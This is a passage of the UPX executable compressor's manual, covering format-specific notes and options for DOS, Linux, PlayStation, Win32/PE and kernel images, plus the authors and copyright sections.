<h2><a name="notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></h2>
|
||||||
|
<p>Same as vmlinuz/i386.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_dos_com">NOTES FOR DOS/COM</a></h2>
|
||||||
|
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
|
||||||
|
themselves (like some commandline utilities that ship with Win95/98/ME).</p>
|
||||||
|
<p>Compressed programs only work on a 286+.</p>
|
||||||
|
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||||
|
<p>Maximum uncompressed size: ~65100 bytes.</p>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--8086 Create an executable that works on any 8086 CPU.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-methods Compress the program several times, using all
|
||||||
|
available compression methods. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default method gives the best results anyway.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-filters Compress the program several times, using all
|
||||||
|
available preprocessing filters. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default filter gives the best results anyway.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_dos_exe">NOTES FOR DOS/EXE</a></h2>
|
||||||
|
<p>dos/exe stands for all ``normal'' 16-bit DOS executables.</p>
|
||||||
|
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
|
||||||
|
themselves (like some command line utilities that ship with Win95/98/ME).</p>
|
||||||
|
<p>Compressed programs only work on a 286+.</p>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--8086 Create an executable that works on any 8086 CPU.</pre>
|
||||||
|
<pre>
|
||||||
|
--no-reloc Use no relocation records in the exe header.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-methods Compress the program several times, using all
|
||||||
|
available compression methods. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default method gives the best results anyway.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_dos_sys">NOTES FOR DOS/SYS</a></h2>
|
||||||
|
<p>Compressed programs only work on a 286+.</p>
|
||||||
|
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||||
|
<p>Maximum uncompressed size: ~65350 bytes.</p>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--8086 Create an executable that works on any 8086 CPU.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-methods Compress the program several times, using all
|
||||||
|
available compression methods. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default method gives the best results anyway.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-filters Compress the program several times, using all
|
||||||
|
available preprocessing filters. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default filter gives the best results anyway.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></h2>
|
||||||
|
<p>First of all, it is recommended to use <strong>UPX</strong> *instead* of <strong>strip</strong>. strip has
|
||||||
|
the very bad habit of replacing your stub with its own (outdated) version.
|
||||||
|
Additionally <strong>UPX</strong> corrects a bug/feature in strip v2.8.x: it
|
||||||
|
will fix the 4 KiB alignment of the stub.</p>
|
||||||
|
<p><strong>UPX</strong> includes the full functionality of stubify. This means it will
|
||||||
|
automatically stubify your COFF files. Use the option <strong>--coff</strong> to
|
||||||
|
disable this functionality (see below).</p>
|
||||||
|
<p><strong>UPX</strong> automatically handles Allegro packfiles.</p>
|
||||||
|
<p>The DLM format (a rather exotic shared library extension) is not supported.</p>
|
||||||
|
<p>Packed programs will be byte-identical to the original after uncompression.
|
||||||
|
All debug information and trailing garbage will be stripped, though.</p>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--coff Produce COFF output instead of EXE. By default
|
||||||
|
UPX keeps your current stub.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-methods Compress the program several times, using all
|
||||||
|
available compression methods. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default method gives the best results anyway.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-filters Compress the program several times, using all
|
||||||
|
available preprocessing filters. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default filter gives the best results anyway.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_linux__general_">NOTES FOR LINUX [general]</a></h2>
|
||||||
|
<p>Introduction</p>
|
||||||
|
<pre>
|
||||||
|
Linux/386 support in UPX consists of 3 different executable formats,
|
||||||
|
one optimized for ELF executables ("linux/elf386"), one optimized
|
||||||
|
for shell scripts ("linux/sh386"), and one generic format
|
||||||
|
("linux/386").</pre>
|
||||||
|
<pre>
|
||||||
|
We will start with a general discussion first, but please
|
||||||
|
also read the relevant docs for each of the individual formats.</pre>
|
||||||
|
<pre>
|
||||||
|
Also, there is special support for bootable kernels - see the
|
||||||
|
description of the vmlinuz/386 format.</pre>
|
||||||
|
<p>General user's overview</p>
|
||||||
|
<pre>
|
||||||
|
Running a compressed executable program trades less space on a
|
||||||
|
``permanent'' storage medium (such as a hard disk, floppy disk,
|
||||||
|
CD-ROM, flash memory, EPROM, etc.) for more space in one or more
|
||||||
|
``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
|
||||||
|
Running a compressed executable also requires some additional CPU
|
||||||
|
cycles to generate the compressed executable in the first place,
|
||||||
|
and to decompress it at each invocation.</pre>
|
||||||
|
<pre>
|
||||||
|
How much space is traded? It depends on the executable, but many
|
||||||
|
programs save 30% to 50% of permanent disk space. How much CPU
|
||||||
|
overhead is there? Again, it depends on the executable, but
|
||||||
|
decompression speed generally is at least many megabytes per second,
|
||||||
|
and frequently is limited by the speed of the underlying disk
|
||||||
|
or network I/O.</pre>
|
||||||
|
<pre>
|
||||||
|
Depending on the statistics of usage and access, and the relative
|
||||||
|
speeds of CPU, RAM, swap space, /tmp, and file system storage, then
|
||||||
|
invoking and running a compressed executable can be faster than
|
||||||
|
directly running the corresponding uncompressed program.
|
||||||
|
The operating system might perform fewer expensive I/O operations
|
||||||
|
to invoke the compressed program. Paging to or from swap space
|
||||||
|
or /tmp might be faster than paging from the general file system.
|
||||||
|
``Medium-sized'' programs which access about 1/3 to 1/2 of their
|
||||||
|
stored program bytes can do particularly well with compression.
|
||||||
|
Small programs tend not to benefit as much because the absolute
|
||||||
|
savings is less. Big programs tend not to benefit proportionally
|
||||||
|
because each invocation may use only a small fraction of the program,
|
||||||
|
yet UPX decompresses the entire program before invoking it.
|
||||||
|
But in environments where disk or flash memory storage is limited,
|
||||||
|
then compression may win anyway.</pre>
|
||||||
|
<pre>
|
||||||
|
Currently, executables compressed by UPX do not share RAM at runtime
|
||||||
|
in the way that executables mapped from a file system do. As a
|
||||||
|
result, if the same program is run simultaneously by more than one
|
||||||
|
process, then using the compressed version will require more RAM and/or
|
||||||
|
swap space. So, shell programs (bash, csh, etc.) and ``make''
|
||||||
|
might not be good candidates for compression.</pre>
|
||||||
|
<pre>
|
||||||
|
UPX recognizes three executable formats for Linux: Linux/elf386,
|
||||||
|
Linux/sh386, and Linux/386. Linux/386 is the most generic format;
|
||||||
|
it accommodates any file that can be executed. At runtime, the UPX
|
||||||
|
decompression stub re-creates in /tmp a copy of the original file,
|
||||||
|
and then the copy is (re-)executed with the same arguments.
|
||||||
|
ELF binary executables prefer the Linux/elf386 format by default,
|
||||||
|
because UPX decompresses them directly into RAM, uses only one
|
||||||
|
exec, does not use space in /tmp, and does not use /proc.
|
||||||
|
Shell scripts where the underlying shell accepts a ``-c'' argument
|
||||||
|
can use the Linux/sh386 format. UPX decompresses the shell script
|
||||||
|
into low memory, then maps the shell and passes the entire text of the
|
||||||
|
script as an argument with a leading ``-c''.</pre>
|
||||||
|
<p>General benefits:</p>
|
||||||
|
<pre>
|
||||||
|
- UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
|
||||||
|
libc6, Shell/Perl/Python/... scripts, standalone Java .class
|
||||||
|
binaries, or whatever...
|
||||||
|
All scripts and programs will work just as before.</pre>
|
||||||
|
<pre>
|
||||||
|
- Compressed programs are completely self-contained. No need for
|
||||||
|
any external program.</pre>
|
||||||
|
<pre>
|
||||||
|
- UPX keeps your original program untouched. This means that
|
||||||
|
after decompression you will have a byte-identical version,
|
||||||
|
and you can use UPX as a file compressor just like gzip.
|
||||||
|
[ Note that UPX maintains a checksum of the file internally,
|
||||||
|
so it is indeed a reliable alternative. ]</pre>
|
||||||
|
<pre>
|
||||||
|
- As the stub only uses syscalls and isn't linked against libc it
|
||||||
|
should run under any Linux configuration that can run ELF
|
||||||
|
binaries.</pre>
|
||||||
|
<pre>
|
||||||
|
- For the same reason compressed executables should run under
|
||||||
|
FreeBSD and other systems which can run Linux binaries.
|
||||||
|
[ Please send feedback on this topic ]</pre>
|
||||||
|
<p>General drawbacks:</p>
|
||||||
|
<pre>
|
||||||
|
- It is not advisable to compress programs which usually have many
|
||||||
|
instances running (like `sh' or `make') because the common segments of
|
||||||
|
compressed programs won't be shared any longer between different
|
||||||
|
processes.</pre>
|
||||||
|
<pre>
|
||||||
|
- `ldd' and `size' won't show anything useful because all they
|
||||||
|
see is the statically linked stub. Since version 0.82 the section
|
||||||
|
headers are stripped from the UPX stub and `size' doesn't even
|
||||||
|
recognize the file format. The file patches/patch-elfcode.h has a
|
||||||
|
patch to fix this bug in `size' and other programs which use GNU BFD.</pre>
|
||||||
|
<p>General notes:</p>
|
||||||
|
<pre>
|
||||||
|
- As UPX leaves your original program untouched it is advantageous
|
||||||
|
to strip it before compression.</pre>
|
||||||
|
<pre>
|
||||||
|
- If you compress a script you will lose platform independence -
|
||||||
|
this could be a problem if you are using NFS mounted disks.</pre>
|
||||||
|
<pre>
|
||||||
|
- Compression of suid, guid and sticky-bit programs is rejected
|
||||||
|
because of possible security implications.</pre>
|
||||||
|
<pre>
|
||||||
|
- For the same reason there is no sense in making any compressed
|
||||||
|
program suid.</pre>
|
||||||
|
<pre>
|
||||||
|
- Obviously UPX won't work with executables that want to read data
|
||||||
|
from themselves. E.g., this might be a problem for Perl scripts
|
||||||
|
which access their __DATA__ lines.</pre>
|
||||||
|
<pre>
|
||||||
|
- In case of internal errors the stub will abort with exitcode 127.
|
||||||
|
Typical reasons for this to happen are that the program has somehow
|
||||||
|
been modified after compression.
|
||||||
|
Running `strace -o strace.log compressed_file' will tell you more.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></h2>
|
||||||
|
<p>Please read the general Linux description first.</p>
|
||||||
|
<p>The linux/elf386 format decompresses directly into RAM,
|
||||||
|
uses only one exec, does not use space in /tmp,
|
||||||
|
and does not use /proc.</p>
|
||||||
|
<p>Linux/elf386 is automatically selected for Linux ELF executables.</p>
|
||||||
|
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||||
|
<p>How it works:</p>
|
||||||
|
<pre>
|
||||||
|
For ELF executables, UPX decompresses directly to memory, simulating
|
||||||
|
the mapping that the operating system kernel uses during exec(),
|
||||||
|
including the PT_INTERP program interpreter (if any).
|
||||||
|
The brk() is set by a special PT_LOAD segment in the compressed
|
||||||
|
executable itself. UPX then wipes the stack clean except for
|
||||||
|
arguments, environment variables, and Elf_auxv entries (this is
|
||||||
|
required by bugs in the startup code of /lib/ld-linux.so as of
|
||||||
|
May 2000), and transfers control to the program interpreter or
|
||||||
|
the e_entry address of the original executable.</pre>
|
||||||
|
<pre>
|
||||||
|
The UPX stub is about 1700 bytes long, partly written in assembler
|
||||||
|
and only uses kernel syscalls. It is not linked against any libc.</pre>
|
||||||
|
<p>Specific drawbacks:</p>
|
||||||
|
<pre>
|
||||||
|
- For linux/elf386 and linux/sh386 formats, you will be relying on
|
||||||
|
RAM and swap space to hold all of the decompressed program during
|
||||||
|
the lifetime of the process. If you already use most of your swap
|
||||||
|
space, then you may run out. A system that is "out of memory"
|
||||||
|
can become fragile. Many programs do not react gracefully when
|
||||||
|
malloc() returns 0. With newer Linux kernels, the kernel
|
||||||
|
may decide to kill some processes to regain memory, and you
|
||||||
|
may not like the kernel's choice of which to kill. Running
|
||||||
|
/usr/bin/top is one way to check on the usage of swap space.</pre>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
(none)</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></h2>
|
||||||
|
<p>Please read the general Linux description first.</p>
|
||||||
|
<p>Shell scripts where the underling shell accepts a ``-c'' argument
|
||||||
|
can use the Linux/sh386 format. <strong>UPX</strong> decompresses the shell script
|
||||||
|
into low memory, then maps the shell and passes the entire text of the
|
||||||
|
script as an argument with a leading ``-c''.
|
||||||
|
It does not use space in /tmp, and does not use /proc.</p>
|
||||||
|
<p>Linux/sh386 is automatically selected for shell scripts that
|
||||||
|
use a known shell.</p>
|
||||||
|
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||||
|
<p>How it works:</p>
|
||||||
|
<pre>
|
||||||
|
For shell script executables (files beginning with "#!/" or "#! /")
|
||||||
|
where the shell is known to accept "-c <command>", UPX decompresses
|
||||||
|
the file into low memory, then maps the shell (and its PT_INTERP),
|
||||||
|
and passes control to the shell with the entire decompressed file
|
||||||
|
as the argument after "-c". Known shells are sh, ash, bash, bsh, csh,
|
||||||
|
ksh, tcsh, pdksh. Restriction: UPX cannot use this method
|
||||||
|
for shell scripts which use the one optional string argument after
|
||||||
|
the shell name in the script (example: "#! /bin/sh option3\n".)</pre>
|
||||||
|
<pre>
|
||||||
|
The UPX stub is about 1700 bytes long, partly written in assembler
|
||||||
|
and only uses kernel syscalls. It is not linked against any libc.</pre>
|
||||||
|
<p>Specific drawbacks:</p>
|
||||||
|
<pre>
|
||||||
|
- For linux/elf386 and linux/sh386 formats, you will be relying on
|
||||||
|
RAM and swap space to hold all of the decompressed program during
|
||||||
|
the lifetime of the process. If you already use most of your swap
|
||||||
|
space, then you may run out. A system that is "out of memory"
|
||||||
|
can become fragile. Many programs do not react gracefully when
|
||||||
|
malloc() returns 0. With newer Linux kernels, the kernel
|
||||||
|
may decide to kill some processes to regain memory, and you
|
||||||
|
may not like the kernel's choice of which to kill. Running
|
||||||
|
/usr/bin/top is one way to check on the usage of swap space.</pre>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
(none)</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_linux_386">NOTES FOR LINUX/386</a></h2>
|
||||||
|
<p>Please read the general Linux description first.</p>
|
||||||
|
<p>The generic linux/386 format decompresses to /tmp and needs
|
||||||
|
/proc file system support. It starts the decompressed program
|
||||||
|
via the <code>execve()</code> syscall.</p>
|
||||||
|
<p>Linux/386 is only selected if the specialized linux/elf386
|
||||||
|
and linux/sh386 won't recognize a file.</p>
|
||||||
|
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||||
|
<p>How it works:</p>
|
||||||
|
<pre>
|
||||||
|
For files which are not ELF and not a script for a known "-c" shell,
|
||||||
|
UPX uses kernel execve(), which first requires decompressing to a
|
||||||
|
temporary file in the file system. Interestingly -
|
||||||
|
because of the good memory management of the Linux kernel - this
|
||||||
|
often does not introduce a noticeable delay, and in fact there
|
||||||
|
will be no disk access at all if you have enough free memory as
|
||||||
|
the entire process takes places within the file system buffers.</pre>
|
||||||
|
<pre>
|
||||||
|
A compressed executable consists of the UPX stub and an overlay
|
||||||
|
which contains the original program in a compressed form.</pre>
|
||||||
|
<pre>
|
||||||
|
The UPX stub is a statically linked ELF executable and does
|
||||||
|
the following at program startup:</pre>
|
||||||
|
<pre>
|
||||||
|
1) decompress the overlay to a temporary location in /tmp
|
||||||
|
2) open the temporary file for reading
|
||||||
|
3) try to delete the temporary file and start (execve)
|
||||||
|
the uncompressed program in /tmp using /proc/<pid>/fd/X as
|
||||||
|
attained by step 2)
|
||||||
|
4) if that fails, fork off a subprocess to clean up and
|
||||||
|
start the program in /tmp in the meantime</pre>
|
||||||
|
<pre>
|
||||||
|
The UPX stub is about 1700 bytes long, partly written in assembler
|
||||||
|
and only uses kernel syscalls. It is not linked against any libc.</pre>
|
||||||
|
<p>Specific drawbacks:</p>
|
||||||
|
<pre>
|
||||||
|
- You need additional free disk space for the uncompressed program
|
||||||
|
in your /tmp directory. This program is deleted immediately after
|
||||||
|
decompression, but you still need it for the full execution time
|
||||||
|
of the program.</pre>
|
||||||
|
<pre>
|
||||||
|
- You must have /proc file system support as the stub wants to open
|
||||||
|
/proc/<pid>/exe and needs /proc/<pid>/fd/X. This also means that you
|
||||||
|
cannot compress programs that are used during the boot sequence
|
||||||
|
before /proc is mounted.</pre>
|
||||||
|
<pre>
|
||||||
|
- Utilities like `top' will display numerical values in the process
|
||||||
|
name field. This is because Linux computes the process name from
|
||||||
|
the first argument of the last execve syscall (which is typically
|
||||||
|
something like /proc/<pid>/fd/3).</pre>
|
||||||
|
<pre>
|
||||||
|
- Because of temporary decompression to disk the decompression speed
|
||||||
|
is not as fast as with the other executable formats. Still, I can see
|
||||||
|
no noticeable delay when starting programs like my ~3 MiB emacs (which
|
||||||
|
is less than 1 MiB when compressed :-).</pre>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--force-execve Force the use of the generic linux/386 "execve"
|
||||||
|
format, i.e. do not try the linux/elf386 and
|
||||||
|
linux/sh386 formats.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_ps1_exe">NOTES FOR PS1/EXE</a></h2>
|
||||||
|
<p>This is the executable format used by the Sony PlayStation (PSone),
|
||||||
|
a Mips R3000 based gaming console which is popular since the late '90s.
|
||||||
|
Support of this format is very similar to the Atari one, because of
|
||||||
|
nostalgic feelings of one of the authors.</p>
|
||||||
|
<p>Packed programs will be byte-identical to the original after uncompression,
|
||||||
|
until further notice.</p>
|
||||||
|
<p>Maximum uncompressed size: ~1.89 / ~7.60 MiB.</p>
|
||||||
|
<p>Notes:</p>
|
||||||
|
<pre>
|
||||||
|
- UPX creates as default a suitable executable for CD-Mastering
|
||||||
|
and console transfer. For a CD-Master main executable you could also try
|
||||||
|
the special option "--boot-only" as described below.
|
||||||
|
It has been reported that upx packed executables are fully compatible with
|
||||||
|
the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
|
||||||
|
Sony PlayStation (PSone) emulation mode.</pre>
|
||||||
|
<pre>
|
||||||
|
- Normally the packed files use the same memory areas like the uncompressed
|
||||||
|
versions, so they will not override other memory areas while unpacking.
|
||||||
|
If this isn't possible UPX will abort showing a 'packed data overlap'
|
||||||
|
error. With the "--force" option UPX will relocate the loading address
|
||||||
|
for the packed file, but this isn't a real problem if it is a single or
|
||||||
|
the main executable.</pre>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--all-methods Compress the program several times, using all
|
||||||
|
available compression methods. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default method gives the best results anyway.</pre>
|
||||||
|
<pre>
|
||||||
|
--8-bit Uses 8 bit size compression [default: 32 bit]</pre>
|
||||||
|
<pre>
|
||||||
|
--8mib-ram PSone has 8 MiB ram available [default: 2 MiB]</pre>
|
||||||
|
<pre>
|
||||||
|
--boot-only This format is for main exes and CD-Mastering only !
|
||||||
|
It may slightly improve the compression ratio,
|
||||||
|
decompression routines are faster than default ones.
|
||||||
|
But it cannot be used for console transfer !</pre>
|
||||||
|
<pre>
|
||||||
|
--no-align This option disables CD mode 2 data sector format
|
||||||
|
alignment. May slightly improves the compression ratio,
|
||||||
|
but the compressed executable will not boot from a CD.
|
||||||
|
Use it for console transfer only !</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></h2>
|
||||||
|
<p>Same as win32/pe.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></h2>
|
||||||
|
<p>This format is used by the TMT Pascal compiler - see <a href="http://www.tmt.com/">http://www.tmt.com/</a> .</p>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--all-methods Compress the program several times, using all
|
||||||
|
available compression methods. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default method gives the best results anyway.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-filters Compress the program several times, using all
|
||||||
|
available preprocessing filters. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default filter gives the best results anyway.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></h2>
|
||||||
|
<p>The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed
|
||||||
|
bootable Linux kernel image (``vmlinuz'', ``zImage'', ``bzImage''),
|
||||||
|
gzip-decompress it and re-compress it with the <strong>UPX</strong> compression method.</p>
|
||||||
|
<p>vmlinuz/386 is completely unrelated to the other Linux executable
|
||||||
|
formats, and it does not share any of their drawbacks.</p>
|
||||||
|
<p>Notes:</p>
|
||||||
|
<pre>
|
||||||
|
- Be sure that "vmlinuz/386" or "bvmlinuz/386" is displayed
|
||||||
|
during compression - otherwise a wrong executable format
|
||||||
|
may have been used, and the kernel won't boot.</pre>
|
||||||
|
<p>Benefits:</p>
|
||||||
|
<pre>
|
||||||
|
- Better compression (but note that the kernel was already compressed,
|
||||||
|
so the improvement is not as large as with other formats).
|
||||||
|
Still, the bytes saved may be essential for special needs like
|
||||||
|
boot disks.</pre>
|
||||||
|
<pre>
|
||||||
|
For example, this is what I get for my 2.2.16 kernel:
|
||||||
|
1589708 vmlinux
|
||||||
|
641073 bzImage [original]
|
||||||
|
560755 bzImage.upx [compressed by "upx -9"]</pre>
|
||||||
|
<pre>
|
||||||
|
- Much faster decompression at kernel boot time (but kernel
|
||||||
|
decompression speed is not really an issue these days).</pre>
|
||||||
|
<p>Drawbacks:</p>
|
||||||
|
<pre>
|
||||||
|
(none)</pre>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--all-methods Compress the program several times, using all
|
||||||
|
available compression methods. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default method gives the best results anyway.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-filters Compress the program several times, using all
|
||||||
|
available preprocessing filters. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default filter gives the best results anyway.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_watcom_le">NOTES FOR WATCOM/LE</a></h2>
|
||||||
|
<p><strong>UPX</strong> has been successfully tested with the following extenders:
|
||||||
|
DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay.
|
||||||
|
The WDOS/X extender is partly supported (for details
|
||||||
|
see the file bugs BUGS).</p>
|
||||||
|
<p>DLLs and the LX format are not supported.</p>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--le Produce an unbound LE output instead of
|
||||||
|
keeping the current stub.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<h2><a name="notes_for_win32_pe">NOTES FOR WIN32/PE</a></h2>
|
||||||
|
<p>The PE support in <strong>UPX</strong> is quite stable now, but probably there are
|
||||||
|
still some incompatibilities with some files.</p>
|
||||||
|
<p>Because of the way <strong>UPX</strong> (and other packers for this format) works, you
|
||||||
|
can see increased memory usage of your compressed files because the whole
|
||||||
|
program is loaded into memory at startup.
|
||||||
|
If you start several instances of huge compressed programs you're
|
||||||
|
wasting memory because the common segments of the program won't
|
||||||
|
get shared across the instances.
|
||||||
|
On the other hand if you're compressing only smaller programs, or
|
||||||
|
running only one instance of larger programs, then this penalty is
|
||||||
|
smaller, but it's still there.</p>
|
||||||
|
<p>If you're running executables from network, then compressed programs
|
||||||
|
will load faster, and require less bandwidth during execution.</p>
|
||||||
|
<p>DLLs are supported. But UPX compressed DLLs can not share common data and
|
||||||
|
code when they got used by multiple applications. So compressing msvcrt.dll
|
||||||
|
is a waste of memory, but compressing the dll plugins of a particular
|
||||||
|
application may be a better idea.</p>
|
||||||
|
<p>Screensavers are supported, with the restriction that the filename
|
||||||
|
must end with ``.scr'' (as screensavers are handled slightly different
|
||||||
|
than normal exe files).</p>
|
||||||
|
<p>UPX compressed PE files have some minor memory overhead (usually in the
|
||||||
|
10 - 30 KiB range) which can be seen by specifying the ``-i'' command
|
||||||
|
line switch during compression.</p>
|
||||||
|
<p>Extra options available for this executable format:</p>
|
||||||
|
<pre>
|
||||||
|
--compress-exports=0 Don't compress the export section.
|
||||||
|
Use this if you plan to run the compressed
|
||||||
|
program under Wine.
|
||||||
|
--compress-exports=1 Compress the export section. [DEFAULT]
|
||||||
|
Compression of the export section can improve the
|
||||||
|
compression ratio quite a bit but may not work
|
||||||
|
with all programs (like winword.exe).
|
||||||
|
UPX never compresses the export section of a DLL
|
||||||
|
regardless of this option.</pre>
|
||||||
|
<pre>
|
||||||
|
--compress-icons=0 Don't compress any icons.
|
||||||
|
--compress-icons=1 Compress all but the first icon.
|
||||||
|
--compress-icons=2 Compress all icons which are not in the
|
||||||
|
first icon directory. [DEFAULT]
|
||||||
|
--compress-icons=3 Compress all icons.</pre>
|
||||||
|
<pre>
|
||||||
|
--compress-resources=0 Don't compress any resources at all.</pre>
|
||||||
|
<pre>
|
||||||
|
--keep-resource=list Don't compress resources specified by the list.
|
||||||
|
The members of the list are separated by commas.
|
||||||
|
A list member has the following format: I<type[/name]>.
|
||||||
|
I<Type> is the type of the resource. Standard types
|
||||||
|
must be specified as decimal numbers, user types can be
|
||||||
|
specified by decimal IDs or strings. I<Name> is the
|
||||||
|
identifier of the resource. It can be a decimal number
|
||||||
|
or a string. For example:</pre>
|
||||||
|
<pre>
|
||||||
|
--keep-resource=2/MYBITMAP,5,6/12345</pre>
|
||||||
|
<pre>
|
||||||
|
UPX won't compress the named bitmap resource "MYBITMAP",
|
||||||
|
it leaves every dialog (5) resource uncompressed, and
|
||||||
|
it won't touch the string table resource with identifier
|
||||||
|
12345.</pre>
|
||||||
|
<pre>
|
||||||
|
--force Force compression even when there is an
|
||||||
|
unexpected value in a header field.
|
||||||
|
Use with care.</pre>
|
||||||
|
<pre>
|
||||||
|
--strip-relocs=0 Don't strip relocation records.
|
||||||
|
--strip-relocs=1 Strip relocation records. [DEFAULT]
|
||||||
|
This option only works on executables with base
|
||||||
|
address greater or equal to 0x400000. Usually the
|
||||||
|
compressed files becomes smaller, but some files
|
||||||
|
may become larger. Note that the resulting file will
|
||||||
|
not work under Windows 3.x (Win32s).
|
||||||
|
UPX never strips relocations from a DLL
|
||||||
|
regardless of this option.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-methods Compress the program several times, using all
|
||||||
|
available compression methods. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default method gives the best results anyway.</pre>
|
||||||
|
<pre>
|
||||||
|
--all-filters Compress the program several times, using all
|
||||||
|
available preprocessing filters. This may improve
|
||||||
|
the compression ratio in some cases, but usually
|
||||||
|
the default filter gives the best results anyway.</pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="diagnostics">DIAGNOSTICS</a></h1>
|
||||||
|
<p>Exit status is normally 0; if an error occurs, exit status
|
||||||
|
is 1. If a warning occurs, exit status is 2.</p>
|
||||||
|
<p><strong>UPX</strong>'s diagnostics are intended to be self-explanatory.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="bugs">BUGS</a></h1>
|
||||||
|
<p>Please report all bugs immediately to the authors.</p>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="authors">AUTHORS</a></h1>
|
||||||
|
<pre>
|
||||||
|
Markus F.X.J. Oberhumer <markus@oberhumer.com>
|
||||||
|
<a href="http://www.oberhumer.com">http://www.oberhumer.com</a></pre>
|
||||||
|
<pre>
|
||||||
|
Laszlo Molnar <ml1050@users.sourceforge.net></pre>
|
||||||
|
<pre>
|
||||||
|
John F. Reiser <jreiser@BitWagon.com></pre>
|
||||||
|
<pre>
|
||||||
|
Jens Medoch <jssg@users.sourceforge.net></pre>
|
||||||
|
<p>
|
||||||
|
</p>
|
||||||
|
<hr />
|
||||||
|
<h1><a name="copyright">COPYRIGHT</a></h1>
|
||||||
|
<p>Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer</p>
|
||||||
|
<p>Copyright (C) 1996-2008 Laszlo Molnar</p>
|
||||||
|
<p>Copyright (C) 2000-2008 John F. Reiser</p>
|
||||||
|
<p>Copyright (C) 2002-2008 Jens Medoch</p>
|
||||||
|
<p>This program may be used freely, and you are welcome to
|
||||||
|
redistribute it under certain conditions.</p>
|
||||||
|
<p>This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
<strong>UPX License Agreement</strong> for more details.</p>
|
||||||
|
